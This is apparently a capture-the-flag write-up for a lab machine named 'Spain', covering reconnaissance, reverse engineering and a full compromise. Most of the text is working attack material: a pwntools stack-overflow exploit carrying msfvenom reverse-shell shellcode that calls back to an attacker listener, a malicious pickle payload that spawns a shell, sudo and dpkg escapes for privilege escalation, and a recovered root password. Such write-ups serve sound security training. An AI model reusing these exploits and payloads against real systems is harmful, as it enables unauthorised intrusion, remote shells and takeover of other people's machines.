Spain
export TARGET_IP=172.17.0.2
sudo nmap -Pn -sS -p- $TARGET_IP
Not shown: 65532 closed tcp ports (reset)
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
9000/tcp open cslistener
sudo nmap -Pn -sS -sV -sC -O -p 22,80,9000 $TARGET_IP
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.2p1 Debian 2+deb12u3 (protocol 2.0)
80/tcp open http Apache httpd 2.4.62
|_http-server-header: Apache/2.4.62 (Debian)
|_http-title: Did not follow redirect to http://spainmerides.dl
9000/tcp open cslistener?
- HTTP (Port 80): Apache httpd 2.4.62. The web server redirects to
http://spainmerides.dl
.
echo "$TARGET_IP spainmerides.dl" | sudo tee -a /etc/hosts
- cslistener (Port 9000): Unknown service; further investigation is required. The name "cslistener" is suggestive, but inconclusive.
Port 9000 Investigation
Try to connect to the service using netcat
or telnet
to see if it provides any banners or clues.
nc -nv $TARGET_IP 9000
Web Application Enumeration
feroxbuster -u 'http://spainmerides.dl' -w /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-lowercase-2.3-medium.txt -x txt,php,html -t 200
200 GET 4l 103w 17159c http://spainmerides.dl/.archivos-secretos/bitlock
wget http://spainmerides.dl/.archivos-secretos/bitlock
file bitlock
bitlock: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, BuildID[sha1]=5b79b3eebf4e41a836c862279f4a5bc868c61ce7, for GNU/Linux 3.2.0, not stripped
Code Analysis (using Ghidra
)
The main
function in the decompiled code tells us a lot about what the bitlock
binary does. It reveals that the binary is likely a network service that listens for connections on port 9000 and then interacts with clients in a specific way.
Summary of main
Function's Behavior
- Creates a TCP socket.
- Sets the
SO_REUSEADDR
option. - Binds the socket to port 9000 on all interfaces.
- Listens for incoming connections.
- Enters an infinite loop:
- Accepts a connection.
- Reads up to 1024 bytes of data from the client.
- If data is received:
- Writes
0x30
to a calculated memory location (potentially related to data termination). - Calls
print_banner()
to display a message. - Calls
hald()
to process the received data.
- Writes
- Closes the connection.
Key Observations and Implications:
- Network Service: The binary is designed to be a network service listening on port 9000.
- Port 9000 Confirmed: This explains why port 9000 was open and accepting connections but not responding with any data initially.
print_banner()
andhald()
: These are the crucial functions.print_banner()
might reveal information about the service, andhald()
is where the main logic for handling client requests resides.- Potential Vulnerabilities: The code might have vulnerabilities:
- Buffer Overflow: If
hald()
doesn't properly validate the size of the data received from the client (stored inlocal_444
), it could be vulnerable to a buffer overflow.
- Buffer Overflow: If
hald
Function Analysis
/* WARNING: Function: __x86.get_pc_thunk.ax replaced with injection: get_pc_thunk_ax */
void hald(char *param_1)
{
char local_16 [14];
strcpy(local_16,param_1);
return;
}
- Purpose: This function appears to be intended to handle the data received from the client.
char local_16[14];
: Declares a character array namedlocal_16
with a size of 14 bytes.strcpy(local_16, param_1);
: This is a major vulnerability! It uses thestrcpy
function to copy the string pointed to byparam_1
(the client's data) intolocal_16
without any bounds checking.
This is a classic stack-based buffer overflow. If an attacker sends more than 13 bytes of data (remember, strings in C need a null terminator), strcpy
will write past the end of local_16
on the stack, overwriting other data, including potentially the return address of the function.
Exploitation Scenario
- Overflow
local_16
: An attacker can send more than 13 bytes of data to thebitlock
service. - Overwrite Return Address: The
strcpy
function inhald
will copy the attacker's data onto the stack, overflowinglocal_16
and overwriting the saved return address. - Control Execution Flow: When
hald
returns, the program will jump to the address that the attacker overwrote the return address with. - Execute Malicious Code: The attacker can carefully craft their input to make the program jump to a location containing malicious code (shellcode) that they have injected, or they can use techniques like Return-Oriented Programming (ROP) to chain together existing pieces of code in the program to achieve their goals.
Exploitation Plan for Buffer Overflow Vulnerability in hald
Identify Overflow Vulnerability
chmod +x bitlock
pwndbg bitlock
(pwndbg) run
> Esperando conexiones en el puerto 9000...
python3 -c 'print("A" * 32)' | nc 172.17.0.1 9000
************************
* AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
0 *
************************
Program received signal SIGSEGV, Segmentation fault.
0x41414141 in ?? ()
- The program crashed, and GDB reported a Segmentation Fault (
SIGSEGV
) with the instruction pointer (EIP
) set to0x41414141
. This indicates the program tried to execute instructions at an address controlled by your input ('A'
=0x41
in ASCII).
Determining the Offset with a Unique Pattern
/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 32 # Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab
python3 -c 'print("Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab")' | nc 172.17.0.1 9000
In your GDB session, the program will again crash. Note the value of the EIP at the crash. For example:
Calculate the Offset
/usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -q 0x61413761
[*] Exact match at offset 22
If the output is 22
, it means the return address starts getting overwritten after 22 bytes of input.
Explanation of Register Values:
-
EIP (0x61413761): The EIP contained
0x61413761
. This value is the little-endian representation of the bytesa7Aa
from our pattern. In hexadecimal,a7Aa
corresponds to61 37 41 61
. When these bytes are loaded into the EIP register on a little-endian system, they are reversed, resulting in0x61413761
. -
EBP (0x41366141): Similarly, the EBP contained
0x41366141
, which is the little-endian representation of the bytesA6aA
(41 36 61 41
in hex) from our pattern, starting at offset 18.
Refining the Exploit with the Offset
Now that we have determined the offset to the return address (EIP) to be 22 bytes, we can craft an input that precisely overwrites the EIP with a value of our choosing.
Testing with Controlled Input
Sending the Payload and Observing in pwndbg:
pwndbg bitlock
(pwndbg) run
python3 -c 'print("A" * 22 + "BBBB")' | nc 172.17.0.1 9000
************************
* AAAAAAAAAAAAAAAAAAAAAABBBB
0 *
************************
Program received signal SIGSEGV, Segmentation fault.
0x42424242 in ?? ()
If our offset calculation is correct, the program should crash, and the EIP register should contain 0x42424242
.
Security Protections Analysis
checksec --file=bitlock
The checksec
output provides crucial information about the security mitigations in place for the bitlock
binary:
RELRO STACK CANARY NX PIE RPATH RUNPATH Symbols FORTIFY Fortified Fortifiable FILE
Partial RELRO No canary found NX disabled No PIE No RPATH No RUNPATH 52 Symbols No 0 3 bitlock
- No Stack Canary: No protection against buffer overflow.
- Executable Stack: Likely allows direct shellcode execution.
- No PIE: Memory addresses remain static, simplifying exploitation.
Exploit Development
Given the analysis, a direct shellcode injection on the stack seems the most viable approach.
EIP
JMP ESP
instruction is identified at 0x804948b
:
/usr/share/metasploit-framework/tools/exploit/nasm_shell.rb
nasm > jmp esp
# 00000000 FFE4 jmp esp
This indicates that the opcode for JMP ESP is FFE4.
Now we will use objdump to find out which memory address allows us to run JMP ESP.
objdump -d bitlock | grep "ff e4" -i
# 804948b: ff e4 jmp *%esp
Finding Suitable Shellcode
We need shellcode that will spawn a shell (/bin/sh
) when executed. We can use msfvenom
or search online repositories. An example using msfvenom
for a Linux x86 reverse shell:
msfvenom -p linux/x86/shell_reverse_tcp LHOST=172.17.0.1 LPORT=6666 -b '\x00\x0a\x0d' -f py
buf = b""
buf += b"\xba\x13\xb7\xf0\xb6\xda\xc7\xd9\x74\x24\xf4\x5d"
buf += b"\x33\xc9\xb1\x12\x31\x55\x12\x03\x55\x12\x83\xd6"
buf += b"\xb3\x12\x43\xe9\x60\x25\x4f\x5a\xd4\x99\xfa\x5e"
buf += b"\x53\xfc\x4b\x38\xae\x7f\x38\x9d\x80\xbf\xf2\x9d"
buf += b"\xa8\xc6\xf5\xf5\x86\x28\x06\x04\xbf\x48\x06\x1c"
buf += b"\x35\xc4\xe7\x90\x2f\x86\xb6\x83\x1c\x25\xb0\xc2"
buf += b"\xae\xaa\x90\x6c\x5f\x84\x67\x04\xf7\xf5\xa8\xb6"
buf += b"\x6e\x83\x54\x64\x22\x1a\x7b\x38\xcf\xd1\xfc"
Exploit
#!/usr/bin/env python3
from pwn import *
def exploit():
ip='172.17.0.2'
port='9000'
offset = 22
buffer = b"A" * offset
eip = p32(0x804948b)
nops = b"\x90"*32 # no-operation instructions
buf = b""
buf += b"\xba\x13\xb7\xf0\xb6\xda\xc7\xd9\x74\x24\xf4\x5d"
buf += b"\x33\xc9\xb1\x12\x31\x55\x12\x03\x55\x12\x83\xd6"
buf += b"\xb3\x12\x43\xe9\x60\x25\x4f\x5a\xd4\x99\xfa\x5e"
buf += b"\x53\xfc\x4b\x38\xae\x7f\x38\x9d\x80\xbf\xf2\x9d"
buf += b"\xa8\xc6\xf5\xf5\x86\x28\x06\x04\xbf\x48\x06\x1c"
buf += b"\x35\xc4\xe7\x90\x2f\x86\xb6\x83\x1c\x25\xb0\xc2"
buf += b"\xae\xaa\x90\x6c\x5f\x84\x67\x04\xf7\xf5\xa8\xb6"
buf += b"\x6e\x83\x54\x64\x22\x1a\x7b\x38\xcf\xd1\xfc"
payload = buffer + eip + nops + buf
conectar = remote(ip, port)
conectar.sendline(payload)
conectar.close
if __name__ == "__main__":
exploit()
nc -lvnp 6666
python3 exploit.py
id # uid=33(www-data) gid=33(www-data) groups=33(www-data)
Privilege Escalation
script /dev/null -c bash
# CTRL + Z
stty raw -echo; fg
reset xterm
export TERM=xterm
export SHELL=/bin/bash
stty size
stty rows <ROWS> columns <COLUMNS>
sudo -l # (maci) NOPASSWD: /bin/python3 /home/maci/.time_seri/time.py
nano /home/maci/.time_seri/time.py # read code
time.py
script loads data from a pickle file (/opt/data.pk1
) if serialization is enabled in a configuration file (/home/maci/.time_seri/time.conf
). It first checks if the configuration file exists and if the serial setting within it is set to on. If both conditions are true, it attempts to load data from the specified pickle file.
nano /home/maci/.time_seri/time.conf # Turn it ON
To create a malicious data.pk1
file that spawns a shell when loaded by time.py
, you can use the following code. This exploits the pickle
module's ability to execute arbitrary code during deserialization:
import pickle
import os
class Exploit:
def __reduce__(self):
# Spawn a shell when unpickled
return (os.system, ('/bin/sh',))
# Generate the malicious payload
payload = Exploit()
# Save the payload to /opt/data.pk1
with open('/opt/data.pk1', 'wb') as f:
pickle.dump(payload, f)
python3 /tmp/pickle_exploit.py
cat /opt/data.pk1 # ��"�posix��system����/bin/sh���R�.
sudo -u maci /bin/python3 /home/maci/.time_seri/time.py
id # uid=1001(maci) gid=1001(maci) groups=1001(maci),100(users)
sudo -l # (darksblack) NOPASSWD: /usr/bin/dpkg
sudo -u darksblack dpkg -l
> !sh # or !bash
id # uid=1002(darksblack) gid=1002(darksblack) groups=1002(darksblack)
cat /home/darksblack/Olympus
...
Selecciona el modo:
1. Invitado
2. Administrador
Introduce el serial:
/home/darksblack/.zprofile/OlympusValidator %s
Error al ejecutar el comando.
VALIDO
Serial invalido, vuelve a intentar
Bienvenido al modo invitado, aqui podras obtener la lista de tareas pendientes.
...
As you can see, it calls /home/darksblack/.zprofile/OlympusValidator %s
. Let's reverse engineer it.
cd /home/darksblack/.zprofile/
python3 -m http.server 8000 # Host
wget http://$TARGET_IP:8000/OlympusValidator # Download
Serial Number Construction:
snprintf(local_52, 0x32, "%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c",
0x41, 0x36, 0x37, 0x38, 0x2d, 0x47, 0x48, 0x53, 0x33, 0x2d, 0x4f, 0x4c, 0x50,
0x30, 0x2d, 0x51, 0x51, 0x50, 0x31, 0x2d, 0x44, 0x46, 0x4d, 0x5a);
The long list of hexadecimal values represents ASCII characters. So, local_52
will contain the string: "A678-GHS3-OLP0-QQP1-DFMZ
". Execute Olympus
and provide that serial.
Output: Credenciales ssh root:@#*)277280)6x4n0
su # Password: @#*)277280)6x4n0
id # uid=0(root) gid=0(root) groups=0(root)